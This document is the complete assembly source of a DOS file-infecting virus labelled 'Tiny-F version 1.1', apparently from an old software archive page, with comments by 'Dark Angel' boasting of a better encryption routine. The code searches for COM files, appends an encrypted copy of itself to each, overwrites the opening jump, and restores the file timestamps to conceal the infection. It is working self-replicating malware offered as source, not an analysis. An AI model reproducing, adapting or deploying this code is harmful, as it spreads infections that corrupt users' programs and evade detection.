home *** CD-ROM | disk | FTP | other *** search
- tinyv SEGMENT BYTE PUBLIC 'code'
-
- ASSUME CS:tinyv, DS:tinyv, SS:tinyv, ES:tinyv
-
-
-
- ORG 100h
-
-
-
- DOS EQU 21h
-
-
-
- start: JMP pgstart
-
- exlbl: db 0CDh, 20h, 7, 8, 9
-
- pgstart:CALL tinyvir
-
- tinyvir:
-
- POP SI ; get SI for storage
-
- SUB SI,offset tinyvir ; reset SI to virus start
-
- MOV BP,[SI+blnkdat] ; store SI in BP for return
-
- ADD BP, OFFSET exlbl
-
- CALL endecrpt
-
- JMP SHORT realprog
-
-
-
- ;-----------------------------------------------------------------------------
-
- ; nonencrypted subroutines start here
-
- ;-----------------------------------------------------------------------------
-
-
-
- ; PCM's encryption was stupid, mine is better - Dark Angel
-
- endecrpt:
-
- ; Only need to save necessary registers - Dark Angel
-
- PUSH AX ; store registers
-
- PUSH BX
-
- PUSH CX
-
- PUSH SI
-
- ; New, better, more compact encryption engine
-
- MOV BX, [SI+EN_VAL]
-
- ADD SI, offset realprog
-
- MOV CX, endenc - realprog
-
- SHR CX, 1
-
- JNC start_encryption
-
- DEC SI
-
- start_encryption:
-
- MOV DI, SI
-
- encloop:
-
- LODSW ; DS:[SI] -> AX
-
- XOR AX, BX
-
- STOSW
-
- LOOP encloop
-
-
-
- POP SI ; restore registers
-
- POP CX
-
- POP BX
-
- POP AX
-
- RET
-
- ;-----end of encryption routine
-
- nfect:
-
- CALL endecrpt
-
- MOV [SI+offset endprog+3],AX; point to data
-
- MOV AH,40H ; write instruction
-
- LEA DX,[SI+0105H] ; write buffer loc |
-
- MOV CX,offset endprog-105h ; (size of virus) --\|/--
-
- INT DOS ; do it!
-
- PUSHF
-
- CALL endecrpt
-
- POPF
-
- JC outa1 ; error, bug out
-
- RET
-
- outa1:
-
- JMP exit
-
-
-
-
-
- ;-----------------------------------------------------------------------------
-
- ; Unencrypted routines end here
-
- ;-----------------------------------------------------------------------------
-
- realprog:
-
- CLD ; forward direction for string ops
-
- ; Why save DTA? This part killed. Saves quite a few bytes. Dark Angel
-
- ; Instead, set DTA to SI+ENDPROG+131h
-
- MOV AH, 1Ah ; Set DTA
-
- LEA DX, [SI+ENDPROG+131h] ; to DS:DX
-
- INT 21h
-
-
-
- LEA DX,[SI+fspec] ; get filespec (*.COM)
-
- XOR CX, CX ; || (clear regs)
-
- MOV AH,4EH ; || (find files)
-
- mainloop: ; \||/
-
- INT DOS ; ----\/----
-
- JC hiccup ; no more files found, terminate virus
-
- ; Next part had to be changed to account for new DTA address - Dark Angel
-
- LEA DX, [SI+ENDPROG+131h+30]; set file name pointer
-
- ; (offset 30 is DTA filename start)
-
- MOV AX,3D02H ; open file
-
- INT DOS ; do it!
-
- MOV BX,AX ; move file handle to BX
-
- MOV AH,3FH ; read file
-
- LEA DX,[SI+endprog] ; load end of program (as buffer pntr)
-
- MOV DI,DX ; set Dest Index to area for buffer
-
- MOV CX,0003H ; read 3 bytes
-
- INT DOS ; do it!
-
- CMP BYTE PTR [DI],0E9H ; check for JMP at start
-
- JE infect ; If begins w/JMP, Infect
-
- nextfile:
-
- MOV AH,4FH ; set int 21 to find next file
-
- JMP mainloop ; next file, do it!
-
- hiccup: JMP exit
-
- infect:
-
- MOV AX,5700h ; get date function
-
- INT DOS ; do it!
-
- PUSH DX ; store date + time
-
- PUSH CX
-
- MOV DX,[DI+01H] ; set # of bytes to move
-
- MOV [SI+blnkdat],DX ; " " " " " "
-
- ; Tighter Code here - Dark Angel
-
- XOR CX,CX ; " " " " " " (0 here)
-
- MOV AX,4200H ; move file
-
- INT DOS ; do it!
-
- MOV DX,DI ; set dest index to area for buffer
-
- MOV CX,0002H ; two bytes
-
- MOV AH,3FH ; read file
-
- INT DOS ; do it!
-
- CMP WORD PTR [DI],0807H ; check for infection
-
- JE nextfile ; next file if infected
-
- getaval: ; encryption routine starts here
-
- ; My modifications here - Dark Angel
-
- MOV AH, 2Ch ; DOS get TIME function
-
- INT DOS ; do it!
-
- OR DX, DX ; Is it 0?
-
- JE getaval ; yeah, try again
-
- MOV word ptr [si+offset en_val], DX ; Store it
-
- ; Tighter code here - Dark Angel
-
- XOR DX,DX ; clear regs
-
- XOR CX,CX ; " "
-
- MOV AX,4202H ; move file pointer
-
- INT DOS ; do it!
-
- OR DX,DX ; new pointer location 0?
-
- JNE nextfile ; if no then next file
-
- CMP AH,0FEH ; new pointer loc too high?
-
- JNC nextfile ; yes, try again
-
- CALL nfect
-
- MOV AX,4200H ; move pointer
-
- XOR CX, CX ; clear reg
-
- MOV DX,OFFSET 00001 ; where to set pointer
-
- INT DOS ; do it!
-
- MOV AH,40H ; write to file
-
- LEA DX,[SI+offset endprog+3]; write data at SI+BUFFER
-
- MOV CX,0002H ; two bytes (the JMP)
-
- INT DOS ; do it!
-
- MOV AX,5701h ; store date
-
- POP CX ; restore time
-
- POP DX ; restore date
-
- INT DOS ; do it!
-
- exit:
-
- MOV AH,3EH ; close file
-
- INT DOS ; do it!
-
-
-
- ; Return DTA to old position - Dark Angel
-
-
-
- MOV AH, 1Ah ; Set DTA
-
- MOV DX, 80h ; to PSP DTA
-
- INT 21h
-
-
-
- JMP BP
-
-
-
- ;-----------------------------------------------------------------------------
-
- ; encrypted data goes here
-
- ;-----------------------------------------------------------------------------
-
-
-
- fspec LABEL WORD
-
- DB '*.COM',0
-
- nondata DB 'Tiny-F version 1.1' ; Program identification
-
- DB 'ÿÇ╫@&ε╖│╜δ' ; author identification
-
- DB 'Released 10-19-91' ; release date
-
- endenc LABEL BYTE ; end of encryption zone
-
- ;-----------------------------------------------------------------------------
-
- ; nonencrypted data goes anywhere after here
-
- ;-----------------------------------------------------------------------------
-
-
-
- blnkdat LABEL WORD
-
- DW 0000H
-
-
-
- ; Only en_val is needed now because of new encryption mechanism
-
- en_val DW 0h
-
-
-
- endprog LABEL WORD
-
- tinyv ENDS
-
- END start
-
-
-
-